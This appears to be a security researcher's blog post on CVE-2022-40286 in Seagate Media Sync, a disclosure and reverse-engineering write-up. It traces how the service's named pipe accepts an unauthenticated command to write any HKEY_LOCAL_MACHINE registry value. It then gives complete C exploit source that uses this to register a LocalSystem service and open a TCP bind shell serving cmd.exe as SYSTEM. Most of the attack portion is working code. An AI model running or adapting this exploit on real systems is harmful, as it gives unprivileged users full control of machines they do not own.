## Exploiting a Seagate service to create a SYSTEM shell (CVE-2022-40286)
Posted: 20/09/2022
This post covers a slightly different topic than my usual content: application
vulnerability discovery and exploit development.
I haven't spent much time experimenting in this area in recent years, but my
interest has been reignited after some work-related projects over the last few
weeks.
I went online to find a random driver/service to exploit - I wanted to find a
product by a well-known company rather than something too obscure.
One of the first software packages that I found was called "Seagate Media
Sync", this is a tool for copying media files to wireless Seagate hard-disks.
I installed the product, and as expected, this created a background SYSTEM
service called MediaAggreService.exe:
![](https://images.seebug.org/1663814956331-w331s)
This tool also installs a UI program which runs within the same session as the
interactive user:
![](https://images.seebug.org/1663814958041-w331s)
A common attack vector for privilege escalation begins with the internal
communication between low-privileged processes (UI) and high-privileged
services (or drivers). The first step to investigate this is to trigger a
legitimate communcation from the UI that we can monitor. Unfortunately, the UI
program only offers very limited functionality because I don't have the
corresponding Seagate hardware:
![](https://images.seebug.org/1663814959765-w331s)
Process Explorer shows that the service contains handles to a named-pipe
called MEDIA_AGGRE_PIPE.PIP \- I suspect that this pipe is used for
communications between the UI (stxmediamanager.exe) and the service
(MediaAggreService.exe).
![](https://images.seebug.org/1663814961931-w331s)
Looking back at the UI, it appears that the only button that we can click is
"Refresh" - hopefully this triggers some communcations to the service that we
can monitor. We can attach a debugger to the UI process and set breakpoints on
the CreateFile and WriteFile functions to confirm this theory:
![](https://images.seebug.org/1663814963750-w331s)
As seen above, when clicking "Refresh", the UI process opens a connection to
the named-pipe using CreateFile. We can log the contents of the message data
by examining the subsequent calls to WriteFile.
Writing data block #1:
![](https://images.seebug.org/1663814966073-w331s)
Writing data block #2:
![](https://images.seebug.org/1663814968233-w331s)
An educated guess tells me that the first message is a 4-byte length field
which indicates the size of the message body. The second message contains the
actual command data. In this example, it is sending a command with a message
body length of 8 bytes - the initial 4-byte length value matches the
nNumberOfBytesToWrite parameter of the second WriteFile call as expected. We
can now examine the receiving end within the service process. Setting a
breakpoint on the ConnectNamedPipe function within MediaAggreService.exe
should trigger when the UI client calls CreateFile:
![](https://images.seebug.org/1663814970178-w331s)
We can now set a breakpoint on the ReadFile function. This shows the same data
that is being sent from the client as expected:
![](https://images.seebug.org/1663814972623-w331s)
Now that we have found the code within the service that reads the command
data, we can follow the execution flow to see what happens next. As we only
have access to a single "Refresh" command within the UI, some static analysis
will be necessary to see what other commands are available.
After spending some time analysing the code, I could see that every command
begins with a 16-bit signature (0x4B5C). This is followed by a 16-bit "major"
command ID, and then a 32-bit "minor" command ID. Each "major" command ID
proceeds towards a different switch statement - I have commented the
disassembly below:
```
001145BB | BA 5C4B0000 | mov edx,4B5C | set expected command header signature:
0x4B5C
001145C0 | 0FB708 | movzx ecx,word ptr ds:[eax] | get actual command header
signature value
001145C3 | 66:3BCA | cmp cx,dx | check 16-bit signature value
001145C6 | 74 1A | je mediaaggreservice.1145E2 | jump if signature matches
001145C8 | 51 | push ecx |
001145C9 | 68 D8391200 | push mediaaggreservice.1239D8 | "[PIPE] Failure: Bad
Signature 0x%X"
001145CE | 68 F0841400 | push mediaaggreservice.1484F0 |
001145D3 | E8 D866FFFF | call mediaaggreservice.10ACB0 | add_log_entry
001145D8 | 83C4 0C | add esp,C |
001145DB | 33C0 | xor eax,eax |
001145DD | 5E | pop esi |
001145DE | 8BE5 | mov esp,ebp |
001145E0 | 5D | pop ebp |
001145E1 | C3 | ret | error, return
001145E2 | 57 | push edi |
001145E3 | FF70 04 | push dword ptr ds:[eax+4] | log minor command ID (32-bit)
001145E6 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | log major command ID
(16-bit)
001145EA | 50 | push eax |
001145EB | 68 203A1200 | push mediaaggreservice.123A20 | "[PIPE] Command
major/minor: [0x%X:0x%X]"
001145F0 | 68 F0841400 | push mediaaggreservice.1484F0 |
001145F5 | E8 7667FFFF | call mediaaggreservice.10AD70 | add_log_entry
001145FA | 8B86 D0F00100 | mov eax,dword ptr ds:[esi+1F0D0] |
00114600 | C745 F8 00000000 | mov dword ptr ss:[ebp-8],0 |
00114607 | 0FB740 02 | movzx eax,word ptr ds:[eax+2] | get major command value
(message_base + 0x2)
0011460B | 83C4 10 | add esp,10 |
0011460E | 83F8 10 | cmp eax,10 | check if the major command value is 0x10
00114611 | 74 60 | je mediaaggreservice.114673 | jump to 0x10 command switch
00114613 | 83F8 20 | cmp eax,20 | check if the major command value is 0x20
00114616 | 74 1A | je mediaaggreservice.114632 | jump to 0x20 command switch
00114618 | 68 C83A1200 | push mediaaggreservice.123AC8 | "[PIPE] Failure:
Unknown Major Command"
0011461D | 68 F0841400 | push mediaaggreservice.1484F0 |
00114622 | E8 8966FFFF | call mediaaggreservice.10ACB0 | add_log_entry
```
As seen above, it appears that only 2 "major" command IDs are supported by
this service - 0x10 and 0x20. With this information in mind, we can now decode
the original "Refresh" command that we logged earlier:
```
Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x1)
(no message body)
```
After having a quick look at the code for both of the main command groups, I
noticed that the 0x10 command group contains an entry that calls an internal
function called MXOSRVSetRegKey. This entry has a "minor" command ID of 0x400.
```
001136E4 | 68 08300000 | push 3008 | total message length
001136E9 | 8D47 08 | lea eax,dword ptr ds:[edi+8] |
001136EC | 50 | push eax |
001136ED | 8DB3 C0A90100 | lea esi,dword ptr ds:[ebx+1A9C0] |
001136F3 | 56 | push esi |
001136F4 | E8 5F560000 | call <JMP.&memcpy> | copy command message body
001136F9 | FFB3 C0D90100 | push dword ptr ds:[ebx+1D9C0] |
001136FF | 8D83 C0C90100 | lea eax,dword ptr ds:[ebx+1C9C0] |
00113705 | 50 | push eax |
00113706 | 8D83 C0B90100 | lea eax,dword ptr ds:[ebx+1B9C0] |
0011370C | 50 | push eax |
0011370D | 56 | push esi |
0011370E | FF15 68D31100 | call dword ptr
ds:[<&?MXOSRVSetRegKey@@YAHPA_W00H@Z>] | execute command
```
As the name implies, the MXOSRVSetRegKey function appears to set a registry
value, creating the key first if it doesn't already exist.
```
70F25590 | 55 | push ebp |
70F25591 | 8BEC | mov ebp,esp |
70F25593 | 83EC 08 | sub esp,8 |
70F25596 | 8D45 F8 | lea eax,dword ptr ss:[ebp-8] |
70F25599 | 50 | push eax |
70F2559A | 8D45 FC | lea eax,dword ptr ss:[ebp-4] |
70F2559D | 50 | push eax |
70F2559E | 6A 00 | push 0 |
70F255A0 | 68 3F000F00 | push F003F |
70F255A5 | 6A 00 | push 0 |
70F255A7 | 68 6823F370 | push stxmediadevif.70F32368 |
70F255AC | 6A 00 | push 0 |
70F255AE | FF75 08 | push dword ptr ss:[ebp+8] |
70F255B1 | C745 FC 00000000 | mov dword ptr ss:[ebp-4],0 |
70F255B8 | 68 02000080 | push 80000002 |
70F255BD | FF15 1020F370 | call dword ptr ds:[<&RegCreateKeyExW>] |
70F255C3 | 85C0 | test eax,eax |
70F255C5 | 75 1E | jne stxmediadevif.70F255E5 |
70F255C7 | FF75 14 | push dword ptr ss:[ebp+14] |
70F255CA | FF75 10 | push dword ptr ss:[ebp+10] |
70F255CD | 6A 01 | push 1 |
70F255CF | 50 | push eax |
70F255D0 | FF75 0C | push dword ptr ss:[ebp+C] |
70F255D3 | FF75 FC | push dword ptr ss:[ebp-4] |
70F255D6 | FF15 0420F370 | call dword ptr ds:[<&RegSetValueExW>] |
70F255DC | FF75 FC | push dword ptr ss:[ebp-4] |
70F255DF | FF15 0020F370 | call dword ptr ds:[<&RegCloseKey>] |
70F255E5 | 33C0 | xor eax,eax |
70F255E7 | 8BE5 | mov esp,ebp |
70F255E9 | 5D | pop ebp |
70F255EA | C3 | ret |
```
Initial analysis of this code suggests that the command potentially allows us
create/modify registry string values remotely via a client process. The base
key appears to be hardcoded to HKEY_LOCAL_MACHINE (push 0x80000002 in the
RegCreateKeyExW call). After reverse-engineering these functions, I can see
that this command expects to receive message data in the following format:
```
Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x400)
Message Length: 0x3008
0x0000 -> Registry Key Path (wide-char)
0x1000 -> Value Name (wide-char)
0x2000 -> Value (wide-char)
0x3000 -> Value Length (DWORD)
0x3004 -> (Unused)
```
The command above only supports string values - the type field is hardcoded to
REG_SZ (push 1 in the RegSetValueExW call).
I also found another command ID (0x410) that allows us to set REG_DWORD values
in the same way. This command receives message data in the following format:
```
Header Length: 0x8
0x0000 -> Signature (0x4B5C)
0x0002 -> Major Command ID (0x10)
0x0004 -> Minor Command ID (0x410)
Message Length: 0x3008
0x0000 -> Registry Key Path (wide-char)
0x1000 -> Value Name (wide-char)
0x2000 -> (Unused)
0x3000 -> (Unused)
0x3004 -> Value (DWORD)
```
As we can see from the layout of the command data above, we can deduce that
both of these commands share a common data structure. We can represent these
in C structures as follows:
```
// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
WORD wSignature;
WORD wMajorCommandID;
DWORD dwMinorCommandID;
};
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
wchar_t wszKeyPath[2048];
wchar_t wszValueName[2048];
wchar_t wszValueString[2048];
DWORD dwValueStringLength;
DWORD dwDwordValue;
};
```
Assuming everything above is correct, this would imply that, as suspected, any
user has the ability to write arbitrary registry values to any key within
HKEY_LOCAL_MACHINE by sending commands to the Seagate service pipe. If this is
true, this means we have a clear path for exploitation. This may seem strange,
but "features" like this are a lot more common than you might expect.
We now have enough information to write a custom pipe client to test our
theory:
```
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE
*pCommandData, DWORD dwCommandDataLength)
{
HANDLE hPipe = NULL;
DWORD dwBytesWritten = 0;
DWORD dwDataLength = 0;
SeagateCommandHeaderStruct SeagateCommandHeader;
BYTE *pDataBlock = NULL;
// open seagate media sync pipe
hPipe = CreateFile("\\\\\\\\.\\\pipe\\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0,
NULL);
if(hPipe == INVALID_HANDLE_VALUE)
{
return 1;
}
// initialise command header
memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
SeagateCommandHeader.wSignature = 0x4B5C;
SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
// calculate total data length
dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
// write data length to pipe
if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength),
&dwBytesWritten, NULL) == 0)
{
CloseHandle(hPipe);
return 1;
}
// allocate buffer to combine the command header and data
pDataBlock = (BYTE*)malloc(dwDataLength);
if(pDataBlock == NULL)
{
return 1;
}
// copy the header and data into the data buffer
memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader,
sizeof(SeagateCommandHeader));
memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)),
(void*)pCommandData, dwCommandDataLength);
// write the message to the pipe
if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) ==
0)
{
free(pDataBlock);
CloseHandle(hPipe);
return 1;
}
// free buffer
free(pDataBlock);
// close pipe
CloseHandle(hPipe);
return 0;
}
DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
{
SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
// initialise seagate registry command data (string)
memset((void*)&SeagateRegistryCommandData, 0,
sizeof(SeagateRegistryCommandData));
mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath,
(sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName,
(sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueString, pValue,
(sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwValueStringLength =
(wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
// send command
if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData,
sizeof(SeagateRegistryCommandData)) != 0)
{
return 1;
}
return 0;
}
SetRegString("SOFTWARE\\\Microsoft\\\x86matthew", "x86matthew", "test_value");
```
The code above connects to the MEDIA_AGGRE_PIPE.PIP pipe and attempts to
create a registry value within
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\x86matthew \- we will execute this
program as a normal user:
![](https://images.seebug.org/1663814974360-w331s)
As we can see above, this code worked correctly and created the target
registry value. Having the ability to write to HKEY_LOCAL_MACHINE opens up a
lot of possibilities for exploitation - in this case, we will be creating a
custom service by adding an entry to the
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services registry key.
Instead of deploying a separate exe to use as the SYSTEM service payload, we
will combine this functionality into the main exploit executable. The exe will
firstly check if it is running as the SYSTEM user - if not, it will perform
the default behaviour and attempt to create a new service via the Seagate pipe
as described above. Otherwise, if the exe detects that it is running as a
SYSTEM service, it will deploy the main payload - this will create a TCP bind-
shell for demonstration purposes.
To summarise, the exploit proof-of-concept tool will perform the following
steps:
1\. Connect to the Seagate service via named-pipe
\\\\.\pipe\MEDIA_AGGRE_PIPE.PIP using CreateFile.
2\. Get the file path of the current exe using GetModuleFileName.
3\. Create a new Windows service by sending the reverse-engineered registry
commands to the Seagate named-pipe. Add a new entry to
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services using the current exe as
the process path.
4\. Reboot the computer.
5\. Windows will automatically launch our newly-created "service" at start-up.
The exploit executable will detect that it is running as SYSTEM and listen for
TCP connections on port 1234.
6\. When the user connects to localhost:1234, the exploit service will launch
a new cmd.exe process as SYSTEM, with stdin/stdout redirected to the client
socket.
Demo
Execute exploit:
![](https://images.seebug.org/1663814976573-w331s)
After reboot:
![](https://images.seebug.org/1663814978848-w331s)
Connect to localhost:1234:
![](https://images.seebug.org/1663814980922-w331s)
For reference, this vulnerability has been assigned to CVE-2022-40286.
Full code below:
```
#include <stdio.h>
#include <winsock2.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")
// reverse-engineered seagate command header
struct SeagateCommandHeaderStruct
{
WORD wSignature;
WORD wMajorCommandID;
DWORD dwMinorCommandID;
};
// reverse-engineered seagate registry command data
struct SeagateRegistryCommandDataStruct
{
wchar_t wszKeyPath[2048];
wchar_t wszValueName[2048];
wchar_t wszValueString[2048];
DWORD dwValueStringLength;
DWORD dwDwordValue;
};
DWORD SendSeagateCommand(WORD wMajorCommandID, DWORD dwMinorCommandID, BYTE
*pCommandData, DWORD dwCommandDataLength)
{
HANDLE hPipe = NULL;
DWORD dwBytesWritten = 0;
DWORD dwDataLength = 0;
SeagateCommandHeaderStruct SeagateCommandHeader;
BYTE *pDataBlock = NULL;
// open seagate media sync pipe
hPipe = CreateFile("\\\\\\\\.\\\pipe\\\MEDIA_AGGRE_PIPE.PIP", GENERIC_READ |
GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0,
NULL);
if(hPipe == INVALID_HANDLE_VALUE)
{
return 1;
}
// initialise command header
memset((void*)&SeagateCommandHeader, 0, sizeof(SeagateCommandHeader));
SeagateCommandHeader.wSignature = 0x4B5C;
SeagateCommandHeader.wMajorCommandID = wMajorCommandID;
SeagateCommandHeader.dwMinorCommandID = dwMinorCommandID;
// calculate total data length
dwDataLength = sizeof(SeagateCommandHeader) + dwCommandDataLength;
// write data length to pipe
if(WriteFile(hPipe, (void*)&dwDataLength, sizeof(dwDataLength),
&dwBytesWritten, NULL) == 0)
{
CloseHandle(hPipe);
return 1;
}
// allocate buffer to combine the command header and data
pDataBlock = (BYTE*)malloc(dwDataLength);
if(pDataBlock == NULL)
{
return 1;
}
// copy the header and data into the data buffer
memcpy((void*)pDataBlock, (void*)&SeagateCommandHeader,
sizeof(SeagateCommandHeader));
memcpy((void*)((BYTE*)pDataBlock + sizeof(SeagateCommandHeader)),
(void*)pCommandData, dwCommandDataLength);
// write the message to the pipe
if(WriteFile(hPipe, (void*)pDataBlock, dwDataLength, &dwBytesWritten, NULL) ==
0)
{
free(pDataBlock);
CloseHandle(hPipe);
return 1;
}
// free buffer
free(pDataBlock);
// close pipe
CloseHandle(hPipe);
return 0;
}
DWORD SetRegString(char *pKeyPath, char *pValueName, char *pValue)
{
SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
// initialise seagate registry command data (string)
memset((void*)&SeagateRegistryCommandData, 0,
sizeof(SeagateRegistryCommandData));
mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath,
(sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName,
(sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueString, pValue,
(sizeof(SeagateRegistryCommandData.wszValueString) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwValueStringLength =
(wcslen(SeagateRegistryCommandData.wszValueString) + 1) * sizeof(wchar_t);
// send command
if(SendSeagateCommand(0x10, 0x400, (BYTE*)&SeagateRegistryCommandData,
sizeof(SeagateRegistryCommandData)) != 0)
{
return 1;
}
return 0;
}
DWORD SetRegDword(char *pKeyPath, char *pValueName, DWORD dwValue)
{
SeagateRegistryCommandDataStruct SeagateRegistryCommandData;
// initialise seagate registry command data (dword)
memset((void*)&SeagateRegistryCommandData, 0,
sizeof(SeagateRegistryCommandData));
mbstowcs(SeagateRegistryCommandData.wszKeyPath, pKeyPath,
(sizeof(SeagateRegistryCommandData.wszKeyPath) / sizeof(wchar_t)) - 1);
mbstowcs(SeagateRegistryCommandData.wszValueName, pValueName,
(sizeof(SeagateRegistryCommandData.wszValueName) / sizeof(wchar_t)) - 1);
SeagateRegistryCommandData.dwDwordValue = dwValue;
// send command
if(SendSeagateCommand(0x10, 0x410, (BYTE*)&SeagateRegistryCommandData,
sizeof(SeagateRegistryCommandData)) != 0)
{
return 1;
}
return 0;
}
DWORD StartBindShell(WORD wPort)
{
sockaddr_in SockAddr;
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo;
SOCKET ListenSocket = 0;
SOCKET AcceptSocket = 0;
// create listen socket
ListenSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
if(ListenSocket == INVALID_SOCKET)
{
return 1;
}
// set socket addr info
memset((void*)&SockAddr, 0, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = htons(wPort);
SockAddr.sin_addr.s_addr = htonl(INADDR_ANY);
// bind socket
if(bind(ListenSocket, (sockaddr*)&SockAddr, sizeof(SockAddr)) == SOCKET_ERROR)
{
closesocket(ListenSocket);
return 1;
}
// listen
if(listen(ListenSocket, 1) == SOCKET_ERROR)
{
closesocket(ListenSocket);
return 1;
}
// wait for clients
for(;;)
{
// wait for connection
AcceptSocket = accept(ListenSocket, NULL, NULL);
if(AcceptSocket == INVALID_SOCKET)
{
closesocket(ListenSocket);
return 1;
}
// set StartupInfo fields - redirect input/output to socket
memset((void*)&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
StartupInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartupInfo.wShowWindow = SW_HIDE;
StartupInfo.hStdInput = (HANDLE)AcceptSocket;
StartupInfo.hStdOutput = (HANDLE)AcceptSocket;
StartupInfo.hStdError = (HANDLE)AcceptSocket;
// create cmd.exe process with inherited handles
memset((void*)&ProcessInfo, 0, sizeof(ProcessInfo));
if(CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, CREATE_NEW_CONSOLE, NULL,
NULL, &StartupInfo, &ProcessInfo) == 0)
{
closesocket(AcceptSocket);
closesocket(ListenSocket);
return 1;
}
// client socket has been passed to cmd.exe - close socket in local process
closesocket(AcceptSocket);
}
// close listen socket
closesocket(ListenSocket);
return 0;
}
DWORD ConfirmSystemUser()
{
HANDLE hToken = NULL;
BYTE bTokenUser[1024];
DWORD dwLength = 0;
SID_IDENTIFIER_AUTHORITY SidIdentifierAuthority;
TOKEN_USER *pTokenUser = NULL;
void *pSystemSid = NULL;
// open process token
if(OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken) == 0)
{
return 1;
}
// get user SID
pTokenUser = (TOKEN_USER*)bTokenUser;
if(GetTokenInformation(hToken, TokenUser, pTokenUser, sizeof(bTokenUser),
&dwLength) == 0)
{
CloseHandle(hToken);
return 1;
}
// close token handle
CloseHandle(hToken);
// SECURITY_NT_AUTHORITY
SidIdentifierAuthority.Value[0] = 0;
SidIdentifierAuthority.Value[1] = 0;
SidIdentifierAuthority.Value[2] = 0;
SidIdentifierAuthority.Value[3] = 0;
SidIdentifierAuthority.Value[4] = 0;
SidIdentifierAuthority.Value[5] = 5;
// get SYSTEM user SID
if(AllocateAndInitializeSid(&SidIdentifierAuthority, 1,
SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) == 0)
{
return 1;
}
// check if this is the SYSTEM user
if(EqualSid(pTokenUser->User.Sid, pSystemSid) == 0)
{
FreeSid(pSystemSid);
return 1;
}
// clean up
FreeSid(pSystemSid);
return 0;
}
DWORD CreateServiceViaSeagate(char *pServiceName, char *pExePath)
{
char szServiceKey[512];
char szImagePath[512];
char szWindowsDir[512];
// get windows directory
memset(szWindowsDir, 0, sizeof(szWindowsDir));
GetWindowsDirectory(szWindowsDir, sizeof(szWindowsDir) - 1);
// set service key
memset(szServiceKey, 0, sizeof(szServiceKey));
_snprintf(szServiceKey, sizeof(szServiceKey) - 1,
"SYSTEM\\\CurrentControlSet\\\Services\\\%s", pServiceName);
// set image path
// (cmd.exe will launch this process in the background - this is to prevent
the service manager from killing our process for not responding to service
status requests)
memset(szImagePath, 0, sizeof(szImagePath));
_snprintf(szImagePath, sizeof(szImagePath) - 1, "\"%s\\\system32\\\cmd.exe\"
/c start \"\" \"%s\"", szWindowsDir, pExePath);
// set registry value
if(SetRegString(szServiceKey, "ImagePath", szImagePath) != 0)
{
return 1;
}
// set registry value
if(SetRegString(szServiceKey, "ObjectName", "LocalSystem") != 0)
{
return 1;
}
// set registry value
if(SetRegDword(szServiceKey, "ErrorControl", 1) != 0)
{
return 1;
}
// set registry value
if(SetRegDword(szServiceKey, "Start", 2) != 0)
{
return 1;
}
// set registry value
if(SetRegDword(szServiceKey, "Type", 16) != 0)
{
return 1;
}
return 0;
}
int main()
{
WSADATA WinsockData;
char szPath[512];
// check if this process is running as SYSTEM user
if(ConfirmSystemUser() == 0)
{
// initialise winsock
if(WSAStartup(MAKEWORD(2, 2), &WinsockData) != 0)
{
return 1;
}
// ready - start tcp bind shell on port 1234
if(StartBindShell(1234) != 0)
{
return 1;
}
}
else
{
printf("Seagate Media Sync (Version 2.01.0414) - Windows Local Privilege
Escalation Exploit (CVE-2022-40286)\n");
printf("x86matthew (www.x86matthew.com)\n\n");
printf("Retrieving current exe path...\n");
// get current exe path
memset(szPath, 0, sizeof(szPath));
if(GetModuleFileName(NULL, szPath, sizeof(szPath) - 1) == 0)
{
printf("Error: Failed to get current exe path\n");
return 1;
}
printf("Creating service...\n");
// create service
if(CreateServiceViaSeagate("x86matthew_seagate_svc", szPath) != 0)
{
printf("Error: Failed to add service via Seagate Media Sync service\n");
return 1;
}
printf("Service created successfully - reboot and connect to localhost:1234
for SYSTEM shell\n");
}
return 0;
}
```
Unavailable Comments